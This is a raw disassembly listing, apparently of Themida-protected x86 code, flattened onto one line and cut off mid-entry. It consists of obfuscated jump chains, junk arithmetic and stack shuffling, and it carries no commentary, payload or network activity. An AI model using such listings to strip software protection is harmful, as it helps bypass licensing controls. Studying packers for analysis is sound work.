Themida_:005A0FF5j add cl, 6Eh shr cl, 8 xor cl, 63h jmp loc_59F81B ; --------------------------------------------------------------------------- loc_598F8D: ; CODE XREF: Themida_:005999BAj push ebp mov ebp, 422935AAh not ebp or ebp, 7173159Eh inc ebp push edx mov edx, 0FDF7DFE4h xor ebp, edx pop edx mov ecx, ebp pop ebp add esi, ecx jmp loc_5A856B ; --------------------------------------------------------------------------- loc_598FAF: ; CODE XREF: Themida_:005A381Bj add ebx, edx push eax mov eax, 73EA7C1Dh sub ebx, eax push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], ebp push esp pop ebp jmp loc_5A9977 ; --------------------------------------------------------------------------- loc_598FD7: ; CODE XREF: Themida_:005AAD3Dj or ebp, 28287460h or ebp, 16427A2Eh jmp loc_5A39E4 ; --------------------------------------------------------------------------- loc_598FE8: ; CODE XREF: Themida_:005A1C27j mov [esp], edx push 2DA6h mov [esp], eax jmp loc_5A95BB ; --------------------------------------------------------------------------- loc_598FF8: ; CODE XREF: Themida_:005A3F33j ; Themida_:005ACF51j add ecx, 10D323EEh jbe loc_5A7E9A sub esp, 4 jmp loc_5A1AB5 ; --------------------------------------------------------------------------- loc_59900C: ; CODE XREF: Themida_:005A4BF1j push eax push 6B4Bh mov [esp], ecx mov eax, [esp] add esp, 4 pop ecx jmp loc_5AF619 ; --------------------------------------------------------------------------- loc_599024: ; CODE XREF: Themida_:005AA8BFj ; Themida_:005AB021j push dword ptr [esp+4] pop eax jmp loc_5A7895 ; --------------------------------------------------------------------------- loc_59902E: ; CODE XREF: Themida_:005A6EC1j xchg edi, [esp] jmp loc_5A2FA2 ; --------------------------------------------------------------------------- loc_599036: ; CODE XREF: Themida_:005A0D40j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5A493E ; --------------------------------------------------------------------------- loc_599042: ; CODE XREF: Themida_:0059D3C5j pop dword ptr [esp] jmp loc_59B9CB ; --------------------------------------------------------------------------- loc_59904A: ; CODE XREF: Themida_:0059EAE9j xchg eax, [esp] mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_599059: ; CODE XREF: Themida_:0059CF51j ; Themida_:005AEC21j jmp loc_5A9B14 ; --------------------------------------------------------------------------- loc_59905E: ; CODE XREF: Themida_:005A7FEAj dec ch sub ch, 1Eh add bl, ch pop ecx push dx mov dh, 0BEh jmp loc_5A1069 ; --------------------------------------------------------------------------- loc_59906F: ; CODE XREF: Themida_:005A432Bj add ebx, 7F4061E4h jmp loc_5AD810 ; --------------------------------------------------------------------------- loc_59907A: ; CODE XREF: Themida_:005A3E25j mov [edi+eax*4], bl pop ebx mov ecx, [esp] add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59908C: ; CODE XREF: Themida_:005A3619j push dword ptr [esp+4] jmp loc_5ADC23 ; --------------------------------------------------------------------------- loc_599095: ; CODE XREF: Themida_:0059EFB0j mov ebx, 78AA4F21h push ecx mov ecx, 65AE7025h add ebx, ecx pop ecx shr ebx, 2 sub ebx, 7E3C55B6h jmp loc_5A553D ; --------------------------------------------------------------------------- loc_5990B1: ; CODE XREF: Themida_:005A1EFFj xor esi, edi pop edi xor esi, 0DC9BD8D4h add ebp, esi mov esi, [esp] add esp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_5AEA1E ; --------------------------------------------------------------------------- loc_5990D0: ; CODE XREF: Themida_:005A637Fj sub ch, 81h and dh, ch push dword ptr [esp] pop ecx add esp, 4 add dh, 0FFh push ebx mov bh, 9Bh add dh, 4Ch add dh, bh sub dh, 4Ch push dword ptr [esp] pop ebx add esp, 4 or dh, 8Ah sub dh, 0E9h jmp loc_5AFCF6 ; --------------------------------------------------------------------------- loc_599102: ; DATA XREF: Themida_:00598850o push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 push esi mov esi, esp jmp loc_5A9B2A ; --------------------------------------------------------------------------- loc_599119: ; CODE XREF: Themida_:0059FF52j pop eax sub esp, 4 jmp loc_59A160 ; --------------------------------------------------------------------------- loc_599122: ; CODE XREF: Themida_:loc_5A19B1j not ebx add ebx, 743D4F9Ah mov ecx, ebx jmp loc_59B2A8 ; --------------------------------------------------------------------------- loc_599131: ; CODE XREF: Themida_:005A139Ej ; Themida_:005AC262j sub edi, esi pop esi xor [esp+4], edi mov edi, [esp] jmp loc_599399 ; --------------------------------------------------------------------------- loc_599140: ; CODE XREF: Themida_:005AF486j pop ebp push 3214h mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xchg ebp, edi xor [esp], edi xor edi, [esp] xor [esp], edi push dword ptr [esp] mov eax, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_5A3A87 ; --------------------------------------------------------------------------- loc_599189: ; CODE XREF: Themida_:0059CD7Bj pop eax and esi, 5EC80261h push esi push ebp mov esi, [esp] add esp, 4 pop ebp neg ebp push esi push ebp mov esi, [esp] add esp, 4 jmp loc_5ACB29 ; --------------------------------------------------------------------------- loc_5991AE: ; CODE XREF: Themida_:005A8934j push dword ptr [esp] pop ebx add esp, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esp push esi mov esi, 4 add [esp+4], esi pop esi pop edi push ecx mov ecx, 67C957CDh shl ecx, 6 jnp loc_59CABB add ecx, 81CA8826h push eax jmp loc_5AD8C8 ; --------------------------------------------------------------------------- add edi, ebx loc_5991F7: ; CODE XREF: Themida_:005A2E53j mov ebp, esp push 379Eh mov [esp], ebx mov ebx, 4 add ebp, ebx pop ebx jmp loc_5A689A ; --------------------------------------------------------------------------- loc_59920E: ; CODE XREF: Themida_:005A166Dj ; Themida_:005ABED2j dec edi jmp loc_59DB2F ; --------------------------------------------------------------------------- loc_599214: ; CODE XREF: Themida_:005AABA1j xor ecx, 3A726568h mov eax, ecx pop ecx add ebp, 36C34C96h sub ebp, eax sub ebp, 36C34C96h pop eax add ebp, edx push ebx mov ebx, 7911513Dh jmp loc_59C4E7 ; --------------------------------------------------------------------------- align 2 dw 0E9E6h dd 2852h ; --------------------------------------------------------------------------- loc_599240: ; CODE XREF: Themida_:005ABDCFj push esi mov esi, 3C0473C8h push ecx jmp loc_5AB542 ; --------------------------------------------------------------------------- loc_59924C: ; CODE XREF: Themida_:005A18AFj add [esp+4], ebp pop ebp jmp loc_59BADA ; --------------------------------------------------------------------------- loc_599256: ; CODE XREF: Themida_:005AAFC5j sub dl, 36h add dl, 0DBh mov ah, 0DCh sub ah, dl jmp loc_5AF208 ; --------------------------------------------------------------------------- loc_599265: ; CODE XREF: Themida_:005A401Aj mov [esp], edi jmp loc_5A757A ; --------------------------------------------------------------------------- loc_59926D: ; CODE XREF: Themida_:0059C7CEj ; Themida_:005AB02Cj pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp shl word ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_599282: ; CODE XREF: Themida_:005A7ED9j shl eax, 4 jz loc_59E6DD add eax, 91C755E4h add edi, eax jmp loc_5A320B ; --------------------------------------------------------------------------- loc_599297: ; CODE XREF: Themida_:005A2076j shr ebx, 5 push 2A6Bh mov [esp], ebp mov ebp, 0A00B55D5h sub ebx, ebp mov ebp, [esp] add esp, 4 xor esi, ebx push dword ptr [esp] pop ebx add esp, 4 sub esi, 28511134h sub esp, 4 jmp loc_5AF1D3 ; --------------------------------------------------------------------------- loc_5992CC: ; CODE XREF: Themida_:005AC959j mov ecx, 3E0C2455h jmp loc_5A32FE ; --------------------------------------------------------------------------- loc_5992D6: ; CODE XREF: Themida_:0059AF0Bj ; Themida_:005A9243j add ebp, 5ED860DAh jmp loc_59E45C ; --------------------------------------------------------------------------- loc_5992E1: ; CODE XREF: Themida_:005A6D8Cj add edi, edx jmp loc_5AA03A ; --------------------------------------------------------------------------- loc_5992E8: ; CODE XREF: Themida_:005A767Cj pop ebx push ecx mov ch, 0F4h jmp loc_5A5FF0 ; --------------------------------------------------------------------------- loc_5992F1: ; CODE XREF: Themida_:005A49F9j ; Themida_:005AA721j push dword ptr [esp+4] push dword ptr [esp] pop eax jmp loc_5A3828 ; --------------------------------------------------------------------------- loc_5992FE: ; CODE XREF: Themida_:0059D681j ; Themida_:005A9504j and ebp, 392F286Dh shl ebp, 1 xor ebp, 360E43BDh add ecx, ebp mov ebp, [esp] jmp loc_5ABB26 ; --------------------------------------------------------------------------- loc_599316: ; CODE XREF: Themida_:005A3F86j mov [esp], ebp push esi mov esi, 3C115087h or esi, 57D56248h jmp loc_5A28D2 ; --------------------------------------------------------------------------- loc_59932A: ; CODE XREF: Themida_:005A3569j dec ecx jmp loc_5A5985 ; --------------------------------------------------------------------------- loc_599330: ; CODE XREF: Themida_:0059D24Cj xor bh, 97h jmp loc_59F52D ; --------------------------------------------------------------------------- loc_599338: ; CODE XREF: Themida_:0059ADE7j add bh, 0BAh jmp loc_5A8DBD ; --------------------------------------------------------------------------- loc_599340: ; CODE XREF: Themida_:005AE657j movzx cx, al push 76F9h mov [esp], edx mov edx, esp push 4C7Fh mov [esp], ebx push 5A617ADBh mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor ebx, 5A617ADFh add edx, ebx jmp loc_5A9994 ; --------------------------------------------------------------------------- loc_59937B: ; CODE XREF: Themida_:005A160Fj mov esp, [esp] push ebp mov ebp, 88E538Fh xor ebx, ebp jmp loc_5A0B67 ; --------------------------------------------------------------------------- loc_59938B: ; CODE XREF: Themida_:005AF799j xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_5AD050 ; --------------------------------------------------------------------------- loc_599399: ; CODE XREF: Themida_:0059913Bj add esp, 4 jmp loc_5A0256 ; --------------------------------------------------------------------------- loc_5993A1: ; CODE XREF: Themida_:005A14B2j mov cl, 0EFh jmp loc_5A70AD ; --------------------------------------------------------------------------- loc_5993A8: ; CODE XREF: Themida_:005AA52Cj add eax, 0FD32F44Bh mov ecx, eax pop eax push esi jmp loc_5A1550 ; --------------------------------------------------------------------------- loc_5993B6: ; CODE XREF: Themida_:loc_5A4B77j jmp loc_59C584 ; --------------------------------------------------------------------------- loc_5993BB: ; CODE XREF: Themida_:005A595Dj add edi, esi add edi, 297A0622h pop esi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov ax, [esp] push eax push ecx jmp loc_59C6C8 ; --------------------------------------------------------------------------- loc_5993D9: ; CODE XREF: Themida_:0059DDA3j pop esp add esi, 3D24349Bh push ecx mov ecx, 3C21517Bh sub esi, 7D8C6780h sub esi, ecx add esi, 7D8C6780h pop ecx add esi, eax jmp loc_5A9F5A ; --------------------------------------------------------------------------- loc_5993FC: ; CODE XREF: Themida_:005AA0B9j pop bp add dx, 25F8h add dx, bx jmp loc_5A2977 ; --------------------------------------------------------------------------- loc_59940B: ; CODE XREF: Themida_:005ABC43j pop edx mov esi, eax pop eax push esi add dword ptr [esp], 7DEE63E9h jmp loc_59973D ; --------------------------------------------------------------------------- loc_59941C: ; CODE XREF: Themida_:0059CAB6j pop ecx jmp loc_59D95E ; --------------------------------------------------------------------------- loc_599422: ; CODE XREF: Themida_:005A2ED1j add edx, 0E04AF5ACh sub esi, edx pop edx add ebx, esi push dword ptr [esp] pop esi add esp, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] xor bl, al movzx eax, al pop small word ptr [edi+eax*4] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59944E: ; CODE XREF: Themida_:0059E7ECj add esi, 4 jmp loc_59DF3A ; --------------------------------------------------------------------------- loc_599456: ; DATA XREF: Themida_:0059871Co lodsd xor eax, ebx sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], edi mov edi, 215D47E3h sub edi, 154A2BDDh jmp loc_59E3E1 ; --------------------------------------------------------------------------- loc_59947B: ; DATA XREF: Themida_:00598730o mov cx, [esp] jmp loc_59F652 ; --------------------------------------------------------------------------- loc_599484: ; CODE XREF: Themida_:005AC140j push ebp mov ebp, 67431B4Bh sub ebp, 67DB93Fh add ebx, ebp mov ebp, [esp] add esp, 4 add ebx, esi push esi mov esi, 51D7524Bh and esi, 34CC775Fh jmp loc_5A79FE ; --------------------------------------------------------------------------- loc_5994AE: ; CODE XREF: Themida_:005A8499j ; DATA XREF: Themida_:00598834o mov ecx, [esp] push 3816h jmp loc_5A354D ; --------------------------------------------------------------------------- loc_5994BB: ; CODE XREF: Themida_:005AE49Dj xor edi, 5616CA1Bh or esi, edi pop edi jmp loc_5A1850 ; --------------------------------------------------------------------------- loc_5994C9: ; CODE XREF: Themida_:0059F75Bj neg eax sub eax, 11F7667Ch jmp loc_5AEEF1 ; --------------------------------------------------------------------------- loc_5994D5: ; CODE XREF: Themida_:005A123Ej pop ax jmp loc_59D96F ; --------------------------------------------------------------------------- loc_5994DC: ; CODE XREF: Themida_:005AA268j mov esi, [esp] add esp, 4 jmp loc_5A0426 ; --------------------------------------------------------------------------- loc_5994E7: ; CODE XREF: Themida_:005A8DD3j pop ebx jmp loc_59996F ; --------------------------------------------------------------------------- loc_5994ED: ; CODE XREF: Themida_:005A07B6j mov edi, 4 sub edx, 1CE4DBEh add edx, edi push ebx mov ebx, 63F54A94h add ebx, 1A1332E2h shl ebx, 2 sub ebx, 30822CF2h sub ebx, 0C5D17B28h add edx, ebx mov ebx, [esp] add esp, 4 jmp loc_5A9C76 ; --------------------------------------------------------------------------- loc_599522: ; CODE XREF: Themida_:005ABDE8j sub esp, 4 jmp loc_59CE87 ; --------------------------------------------------------------------------- loc_59952D: ; CODE XREF: Themida_:005A546Cj neg eax xor eax, 0B3648F49h add edx, eax jmp loc_59EF46 ; --------------------------------------------------------------------------- loc_59953B: ; CODE XREF: Themida_:0059F474j xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 3E3Ch mov [esp], ebx jmp loc_5AA8D0 ; --------------------------------------------------------------------------- loc_59955B: ; CODE XREF: Themida_:005A80E7j add ebx, eax pop eax jmp loc_5A99C0 ; --------------------------------------------------------------------------- loc_599563: ; CODE XREF: Themida_:005A7EE6j jmp loc_59CD4D ; --------------------------------------------------------------------------- loc_599568: ; CODE XREF: Themida_:005A2674j add ebp, eax pop eax xchg ebp, [esp] mov esp, [esp] add ebp, 4 jmp loc_5AFA09 ; --------------------------------------------------------------------------- loc_59957C: ; CODE XREF: Themida_:005ACC5Bj ja loc_5AD852 push ecx push ebp mov ebp, 4BE772F3h mov ecx, ebp pop ebp and edx, ecx loc_59958E: ; CODE XREF: Themida_:005A4977j pop edi add edi, 4 sub esp, 4 mov [esp], ebx push 56F4h jmp loc_59BAE0 ; --------------------------------------------------------------------------- loc_5995A8: ; CODE XREF: Themida_:005AFDE3j not eax add eax, 0FABAD2CDh jmp loc_5AE726 ; --------------------------------------------------------------------------- loc_5995B4: ; CODE XREF: Themida_:0059FCAAj ; Themida_:loc_5A30BBj pop ebx push ecx mov ecx, 3DA0A5Eh add ecx, 7C45DB7h and edx, ecx jmp loc_5A093A ; --------------------------------------------------------------------------- loc_5995C8: ; CODE XREF: Themida_:0059FDD7j mov ebx, 4B41792Eh jmp loc_5A9C1D ; --------------------------------------------------------------------------- loc_5995D2: ; CODE XREF: Themida_:005A3928j sub bl, dl pop dx add bl, 47h add bl, al sub bl, 47h add bl, 0C8h mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp shr bl, 5 jnz loc_5A811A or bl, 95h jno loc_5AB2CA jmp loc_5A33E3 ; --------------------------------------------------------------------------- loc_59960E: ; CODE XREF: Themida_:005A0ACCj add edi, edx pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_5A886C ; --------------------------------------------------------------------------- loc_599620: ; CODE XREF: Themida_:005AF091j dec ah jmp loc_5A691D ; --------------------------------------------------------------------------- loc_599627: ; CODE XREF: Themida_:005A3BC3j dec ebp xor ebp, 526D4080h jmp loc_5AA2EA ; --------------------------------------------------------------------------- loc_599633: ; CODE XREF: Themida_:005A19D7j add al, 25h jmp loc_5A38E8 ; --------------------------------------------------------------------------- loc_59963A: ; CODE XREF: Themida_:0059FE14j sub edx, 0FFFFFFFFh shl edx, 2 jmp loc_5AD280 ; --------------------------------------------------------------------------- loc_599648: ; CODE XREF: Themida_:005AED7Ej add edx, edi add edx, 38364848h mov edi, [esp] add esp, 4 add edx, 2 xor edx, [esp] xor [esp], edx jmp loc_5A71AC ; --------------------------------------------------------------------------- loc_59966A: ; CODE XREF: Themida_:005A93C6j not ebx jmp loc_5AB42F ; --------------------------------------------------------------------------- loc_599671: ; CODE XREF: Themida_:005A29E8j push edx push 13AD77CCh mov edx, [esp] add esp, 4 jmp loc_5AE88D ; --------------------------------------------------------------------------- loc_599682: ; CODE XREF: Themida_:005AC49Bj push eax mov eax, 0CB43C34h add eax, 156E2AA7h jle loc_5A49EA neg eax shr eax, 1 jnz loc_59B6F8 add eax, 0AF474029h inc eax xor al, 88h mov bl, dl loc_5996A7: ; CODE XREF: Themida_:005AA350j add dword ptr [esp+4], 68EE430Ch mov eax, [esp] push 2Eh mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop eax push 6B66h mov [esp], edx jmp loc_5AB8EC ; --------------------------------------------------------------------------- loc_5996DA: ; CODE XREF: Themida_:005AF1DBj pop ebx sub ebx, 48B92AFEh jmp loc_5A101F ; --------------------------------------------------------------------------- loc_5996E6: ; CODE XREF: Themida_:005A67ACj add eax, edi pop edi sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5A730C ; --------------------------------------------------------------------------- loc_599707: ; CODE XREF: Themida_:0059DFA4j xchg edx, [esp] mov esp, [esp] mov [esp], eax xor [esp], eax xor eax, [esp] xor [esp], eax xchg eax, edi not edi xchg eax, edi push eax jmp loc_5A62D9 ; --------------------------------------------------------------------------- loc_599723: ; CODE XREF: Themida_:005AB79Fj shr edi, 6 xor edi, 261334F6h xor edi, 3431720Dh xor edi, 7AD6EBEBh jmp loc_5A37B4 ; --------------------------------------------------------------------------- loc_59973D: ; CODE XREF: Themida_:00599417j pop ebx sub ebx, 7DEE63E9h pop esi jmp loc_59CD01 ; --------------------------------------------------------------------------- loc_59974A: ; CODE XREF: Themida_:005ACA6Cj xchg ebp, [esp] pop esp push ebx add dword ptr [esp], 41B025C7h pop edx sub edx, 41B025C7h pop ebx push esi mov esi, 0FFFFFFFFh sub edx, 7C3C4A60h sub edx, esi jmp loc_5AB651 ; --------------------------------------------------------------------------- loc_599771: ; CODE XREF: Themida_:0059DE9Fj pop edx sub ebx, 4 push 75D9h jmp loc_5AE949 ; --------------------------------------------------------------------------- loc_59977F: ; CODE XREF: Themida_:005A3548j mov ebp, edi push ebp jmp loc_59E113 ; --------------------------------------------------------------------------- loc_599787: ; CODE XREF: Themida_:005A1F63j shr cl, 5 push edx mov dl, 4Bh jmp loc_59ED50 ; --------------------------------------------------------------------------- loc_599792: ; CODE XREF: Themida_:005AC189j push 6A79h mov [esp], esi mov esi, 73C9346Ch add esi, 0FFFFFFFFh jmp loc_59C8FB ; --------------------------------------------------------------------------- loc_5997A7: ; CODE XREF: Themida_:005AEE72j mov al, cl pop ecx sub bl, 0BAh add bl, 0C9h add bl, 0F7h add bl, al sub bl, 0F7h sub bl, 0C9h jmp loc_5A1954 ; --------------------------------------------------------------------------- loc_5997C0: ; CODE XREF: Themida_:005A51B3j ; Themida_:005A54EEj mov [esp], ebx mov ebx, 4 add ebp, ebx jmp loc_5A04D3 ; --------------------------------------------------------------------------- loc_5997CF: ; CODE XREF: Themida_:005AEAC9j pop ebx xchg ebp, [esp] mov esp, [esp] jmp loc_5A69B9 ; --------------------------------------------------------------------------- loc_5997DB: ; CODE XREF: Themida_:005A0C8Aj push ebp mov ebp, 72647F03h add ebp, 768028A4h jmp loc_59A26D ; --------------------------------------------------------------------------- loc_5997EC: ; CODE XREF: Themida_:0059E981j or ebx, 6A595B08h add ebx, 15A600DCh add edi, ebx jmp loc_5AA2D2 ; --------------------------------------------------------------------------- loc_5997FF: ; CODE XREF: Themida_:005998ADj mov esp, [esp] push edx push ebx push eax mov ah, 0CFh sub ah, 10h jo loc_59B3D4 xor ah, 0EFh mov bh, ah jmp loc_5AF5A7 ; --------------------------------------------------------------------------- loc_59981A: ; CODE XREF: Themida_:0059DA6Dj mov [esp], esi mov esi, 77D808A7h mov ebx, 8827F75Dh jmp loc_59A265 ; --------------------------------------------------------------------------- loc_59982C: ; CODE XREF: Themida_:005A7855j shr bl, 8 push eax jmp loc_5ABF30 ; --------------------------------------------------------------------------- loc_599835: ; CODE XREF: Themida_:005A2DDDj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_59B307 ; --------------------------------------------------------------------------- loc_599849: ; CODE XREF: Themida_:0059E323j push ecx push edx push 6E9F389Dh pop edx jmp loc_5A27FD ; --------------------------------------------------------------------------- loc_599856: ; CODE XREF: Themida_:005A83E3j xor edi, 4CB74890h mov ecx, edi jmp loc_5A82E9 ; --------------------------------------------------------------------------- loc_599863: ; CODE XREF: Themida_:005AE44Aj add ebx, 6AA05C9Ah jmp loc_59BFD5 ; --------------------------------------------------------------------------- loc_59986E: ; CODE XREF: Themida_:loc_5A233Aj add dl, 0D7h add bl, dl pop edx sub bl, 94h sub bl, 49h jmp loc_59E25A ; --------------------------------------------------------------------------- loc_59987F: ; CODE XREF: Themida_:005AE899j shl edx, 6 jmp loc_5A00ED ; --------------------------------------------------------------------------- loc_599887: ; CODE XREF: Themida_:005A0AE9j add ebx, eax sub ebx, 5FC70574h add ebx, 42F96089h push dword ptr [eax] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59989C: ; CODE XREF: Themida_:005A402Aj push esi mov esi, 4 jmp loc_5AE050 ; --------------------------------------------------------------------------- loc_5998A7: ; CODE XREF: Themida_:005AF6C3j xor [esp], ecx xor ecx, [esp] jmp loc_5997FF ; --------------------------------------------------------------------------- loc_5998B2: ; CODE XREF: Themida_:005A7CDBj push ebp mov ebp, esp push edi mov edi, 61D66C2h shr edi, 8 shr edi, 6 shr edi, 8 shl edi, 7 xor edi, 0C04h jmp loc_5AAA78 ; --------------------------------------------------------------------------- loc_5998D2: ; CODE XREF: Themida_:005A865Fj mov eax, 61757757h neg eax sub eax, 9E8A88A5h sub edx, 54911C55h add edx, eax add edx, 54911C55h push dword ptr [esp] pop eax push eax jmp loc_59EC27 ; --------------------------------------------------------------------------- loc_5998F6: ; CODE XREF: Themida_:005A4B72j shr eax, 6 shl eax, 7 add eax, 0DC731707h and ebx, eax pop eax inc ebx xor ebx, 34EB182Dh shl ebx, 4 not ebx jmp loc_59D781 ; --------------------------------------------------------------------------- loc_599915: ; CODE XREF: Themida_:005AF20Aj sub esi, 7DC51205h pop eax xchg esi, [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59992B: ; CODE XREF: Themida_:005A688Aj or esi, 5E947282h jmp loc_5A0CB7 ; --------------------------------------------------------------------------- loc_599936: ; CODE XREF: Themida_:005A904Fj not edx not edx jmp loc_5A86A3 ; --------------------------------------------------------------------------- loc_59993F: ; CODE XREF: Themida_:0059D953j jmp loc_59F33A ; --------------------------------------------------------------------------- loc_599944: ; CODE XREF: Themida_:005A8D17j add ebx, edi pop edi jmp loc_5A1BF6 ; --------------------------------------------------------------------------- loc_59994C: ; CODE XREF: Themida_:005AE093j sub eax, 39C513D1h mov edx, [esp] add esp, 4 add eax, ebx sub eax, 30EF2EA4h mov ebx, [esp] push esi push 7775h jmp loc_5A256D ; --------------------------------------------------------------------------- loc_59996F: ; CODE XREF: Themida_:005994E8j ; Themida_:005A0D15j pop dword ptr [esp] mov esp, [esp] dec esi push eax jmp loc_5AE011 ; --------------------------------------------------------------------------- loc_59997C: ; CODE XREF: Themida_:005A551Fj mov eax, 3E6E4D7Ah add ebx, eax pop eax mov esi, [esp] push ebx mov ebx, esp push esi mov esi, 51C679DCh or esi, 34E649FAh shr esi, 1 xor esi, 3AF33CFBh jmp loc_5A8819 ; --------------------------------------------------------------------------- loc_5999A3: ; CODE XREF: Themida_:0059A437j ; Themida_:005ADC87j mov ebp, 5A3C47B2h inc ebp jmp loc_5989CB ; --------------------------------------------------------------------------- loc_5999AE: ; CODE XREF: Themida_:005A16DFj mov [esp], edx jmp loc_59E1A9 ; --------------------------------------------------------------------------- loc_5999B6: ; CODE XREF: Themida_:005AD1BAj add esi, ebp pop ebp push ecx jmp loc_598F8D ; --------------------------------------------------------------------------- loc_5999BF: ; CODE XREF: Themida_:0059BFD0j ; Themida_:005A777Fj pop esi push eax push ecx push edi mov edi, 38A76FB4h mov ecx, 29EC0565h add ecx, edi pop edi jmp loc_59E01E ; --------------------------------------------------------------------------- loc_5999D5: ; CODE XREF: Themida_:0059A429j add ecx, 3D83D8B9h mov ebx, ecx jmp loc_59AA9B ; --------------------------------------------------------------------------- loc_5999E2: ; CODE XREF: Themida_:loc_5A5EF1j add esi, 0FFECFCB9h add edi, 3D6F09B4h sub edi, 682C4EAFh add edi, esi add edi, 682C4EAFh push ecx mov ecx, esp push edi jmp loc_5A5DA9 ; --------------------------------------------------------------------------- loc_599A05: ; CODE XREF: Themida_:005A6D82j push 6DB3h mov [esp], ebp jmp loc_5AE507 ; --------------------------------------------------------------------------- loc_599A12: ; CODE XREF: Themida_:005AA69Ej pop edi mov esi, [esp] push 3393h mov [esp], ecx push 1003h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ecx jmp loc_59F7C5 ; --------------------------------------------------------------------------- loc_599A36: ; CODE XREF: Themida_:005A4EBEj xchg edi, [esp] pop esp and ecx, eax mov eax, [esp] push eax push esp jmp loc_5A247D ; --------------------------------------------------------------------------- loc_599A46: ; CODE XREF: Themida_:005A9944j ; Themida_:005AA1D2j mov esp, [esp] jmp loc_59BCAD ; --------------------------------------------------------------------------- loc_599A4E: ; CODE XREF: Themida_:0059C23Fj xor eax, ecx jmp loc_5A41A7 ; --------------------------------------------------------------------------- loc_599A55: ; CODE XREF: Themida_:005A39EFj pop ebp jmp loc_59A8DE ; --------------------------------------------------------------------------- loc_599A5B: ; CODE XREF: Themida_:005A1416j push 3D45h mov [esp], ecx push eax jmp loc_5A2490 ; --------------------------------------------------------------------------- loc_599A69: ; CODE XREF: Themida_:005A2CEFj mov ecx, esp add ecx, 4 jmp loc_5A1E6B ; --------------------------------------------------------------------------- loc_599A76: ; CODE XREF: Themida_:005A2F7Aj mov [esp], edx mov edx, 6CC75BECh mov eax, 57514418h add eax, edx jmp loc_5AE8F3 ; --------------------------------------------------------------------------- loc_599A8A: ; CODE XREF: Themida_:005AC170j mov [esp], ebp push 0A9Eh mov [esp], ebx mov ebx, 0FFFFFFFFh jmp loc_59EFFC ; --------------------------------------------------------------------------- loc_599A9F: ; CODE XREF: Themida_:005AB0F1j add edi, 4 jmp loc_5AEFBE ; --------------------------------------------------------------------------- loc_599AAA: ; CODE XREF: Themida_:005A4D29j add edx, 20E55BADh xor edx, 6D8D2129h add edx, 7AA63BB5h add edx, 0F85D7B11h jmp loc_5AA6DB ; --------------------------------------------------------------------------- loc_599AC7: ; CODE XREF: Themida_:005A75CAj add ebp, 2601137h pop ebx push edx mov edx, 0AC5ECFCDh add ebp, 4204110Bh add ebp, edx sub ebp, 4204110Bh mov edx, [esp] jmp loc_59DF55 ; --------------------------------------------------------------------------- loc_599AEA: ; CODE XREF: Themida_:005AB864j pop esp cmp cl, al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_599AF3: ; CODE XREF: Themida_:005ACC2Dj add esp, 4 push ecx mov ecx, 3AD129ABh and ecx, 49F3DC8h jns loc_5AC2C2 and ecx, 17FD4A97h dec ecx mov ecx, edi mov edx, ebp loc_599B16: ; CODE XREF: Themida_:005AB3CAj pop eax sub edx, 39F17F73h pop esi xchg edx, [esp] jmp loc_59B406 ; --------------------------------------------------------------------------- loc_599B26: ; CODE XREF: Themida_:0059FA45j sub esi, 0B10412Bh push ebx push edx mov edx, 3B171B66h add edx, 270B060Ch mov ebx, edx jmp loc_5A9486 ; --------------------------------------------------------------------------- loc_599B40: ; CODE XREF: Themida_:005ACB7Bj push eax mov eax, 1C4472A4h sub ebx, eax pop eax sub ebx, 0CF32231Ch mov edi, ebx pop ebx sub edi, 17256369h neg edi or edi, 5CD430E7h jmp loc_5ACB39 ; --------------------------------------------------------------------------- loc_599B65: ; CODE XREF: Themida_:005ADDACj mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5ABC7E ; --------------------------------------------------------------------------- loc_599B76: ; CODE XREF: Themida_:005A0E98j mov [esp], ecx push ebp mov ebp, 4EF552A3h jmp loc_59CDD9 ; --------------------------------------------------------------------------- loc_599B84: ; CODE XREF: Themida_:005A15ACj push 5070h mov [esp], edx mov edx, esp push 78DDh mov [esp], ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_5A4C27 ; --------------------------------------------------------------------------- loc_599BA3: ; CODE XREF: Themida_:005A46C7j neg esi sub esi, 0A86B85F9h sub eax, esi pop esi jmp loc_5AEEE5 ; --------------------------------------------------------------------------- loc_599BB3: ; CODE XREF: Themida_:005A627Fj xchg edi, [esp] pop esp xor eax, 324872BFh push 41B8h mov [esp], edi push ebx mov ebx, esp push ecx mov ecx, 59E5086h inc ecx add ecx, 0FA61AF7Dh jmp loc_5A4E90 ; --------------------------------------------------------------------------- loc_599BD9: ; CODE XREF: 